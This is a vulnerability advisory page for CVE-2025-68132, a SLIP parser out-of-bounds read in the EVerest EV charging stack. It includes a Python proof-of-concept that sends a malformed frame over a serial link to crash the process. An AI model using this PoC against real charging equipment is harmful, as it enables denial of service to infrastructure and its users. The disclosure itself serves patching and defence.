Security Vulnerability Report
中文
CVE-2025-68132 CVSS 4.6 MEDIUM

CVE-2025-68132

Published: 2026-01-21 19:16:04
Last Modified: 2026-02-06 21:21:18

Description

EVerest is an EV charging software stack. Prior to version 2025.12.0, `is_message_crc_correct` in the DZG_GSH01 powermeter SLIP parser reads `vec[vec.size()-1]` and `vec[vec.size()-2]` without checking that at least two bytes are present. Malformed SLIP frames on the serial link can reach `is_message_crc_correct` with `vec.size() < 2` (only via the multi-message path), causing an out-of-bounds read before CRC verification and `pop_back` underflow. Therefore, an attacker controlling the serial input can reliably crash the process. Version 2025.12.0 fixes the issue.

CVSS Details

CVSS Score
4.6
Severity
MEDIUM
CVSS Vector
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H

Configurations (Affected Products)

cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:* - VULNERABLE
EVerest everest-core < 2025.12.0

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
#!/usr/bin/env python3 """ CVE-2025-68132 PoC - EVerest SLIP Parser Buffer Underflow This PoC generates a malformed SLIP frame to trigger buffer underflow in EVerest's DZG_GSH01 powermeter SLIP parser. """ import serial import struct def create_malformed_slip_frame(payload_size): """ Create a malformed SLIP frame with insufficient payload size. SLIP frame format: END byte + data + END byte """ # SLIP END character (0xC0) END = 0xC0 ESC = 0xDB ESC_END = 0xDC ESC_ESC = 0xDD # Create payload with size < 2 to trigger the bug payload = b'\x00' * payload_size # Encode payload with SLIP escaping (simplified) encoded_payload = b'' for byte in payload: if byte == END: encoded_payload += bytes([ESC, ESC_END]) elif byte == ESC: encoded_payload += bytes([ESC, ESC_ESC]) else: encoded_payload += bytes([byte]) # Construct SLIP frame: END + encoded_payload + END slip_frame = bytes([END]) + encoded_payload + bytes([END]) return slip_frame def exploit(target_device='/dev/ttyUSB0', baudrate=115200): """ Send malformed SLIP frame to trigger buffer underflow. """ print(f"[*] Targeting: {target_device} at {baudrate} baud") print("[*] Creating malformed SLIP frame with payload size = 1") # Create frame with payload size = 1 (less than 2 required) malicious_frame = create_malformed_slip_frame(payload_size=1) print(f"[*] Malicious frame length: {len(malicious_frame)} bytes") print(f"[*] Frame hex: {malicious_frame.hex()}") try: ser = serial.Serial(target_device, baudrate, timeout=1) print("[*] Serial connection established") # Send the malformed SLIP frame ser.write(malicious_frame) print("[*] Malformed SLIP frame sent") print("[*] Target process should crash due to buffer underflow") ser.close() except serial.SerialException as e: print(f"[-] Error: {e}") return False return True if __name__ == "__main__": # Target configuration - modify for your environment exploit(target_device='/dev/ttyUSB0', baudrate=115200)

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-68132", "sourceIdentifier": "[email protected]", "published": "2026-01-21T19:16:04.343", "lastModified": "2026-02-06T21:21:17.600", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "EVerest is an EV charging software stack. Prior to version 2025.12.0, `is_message_crc_correct` in the DZG_GSH01 powermeter SLIP parser reads `vec[vec.size()-1]` and `vec[vec.size()-2]` without checking that at least two bytes are present. Malformed SLIP frames on the serial link can reach `is_message_crc_correct` with `vec.size() < 2` (only via the multi-message path), causing an out-of-bounds read before CRC verification and `pop_back` underflow. Therefore, an attacker controlling the serial input can reliably crash the process. Version 2025.12.0 fixes the issue."}, {"lang": "es", "value": "EVerest es una pila de software de carga de vehículos eléctricos. Antes de la versión 2025.12.0, `is_message_crc_correct` en el analizador SLIP del medidor de potencia DZG_GSH01 lee `vec[vec.size()-1]` y `vec[vec.size()-2]` sin verificar que al menos dos bytes estén presentes. Tramas SLIP malformadas en el enlace serie pueden llegar a `is_message_crc_correct` con `vec.size() &lt; 2` (solo a través de la ruta de mensajes múltiples), causando una lectura fuera de límites antes de la verificación CRC y un desbordamiento negativo de `pop_back`. Por lo tanto, un atacante que controla la entrada serie puede bloquear el proceso de forma fiable. La versión 2025.12.0 corrige el problema."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 2.4, "baseSeverity": "LOW", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "attackRequirements": "NONE", "privilegesRequired": "NONE", "userInteraction": "NONE", "vulnConfidentialityImpact": "NONE", "vulnIntegrityImpact": "NONE", "vulnAvailabilityImpact": "LOW", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 4.6, "baseSeverity": "MEDIUM", "attackVector": "PHYSICAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 0.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:linuxfoundation:everest:*:*:*:*:*:*:*:*", "versionEndExcluding": "2025.12.0", "matchCriteriaId": "97BFA6C8-8D13-4BF3-A0FF-C786F54D9C22"}]}]}], "references": [{"url": "https://github.com/EVerest/everest-core/commit/b8139b95144e3fe0082789b7fafe4e532ee494a1", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/EVerest/everest-core/security/advisories/GHSA-79gc-m8w6-9hx5", "source": "[email protected]", "tags": ["Exploit", "Mitigation", "Vendor Advisory"]}]}}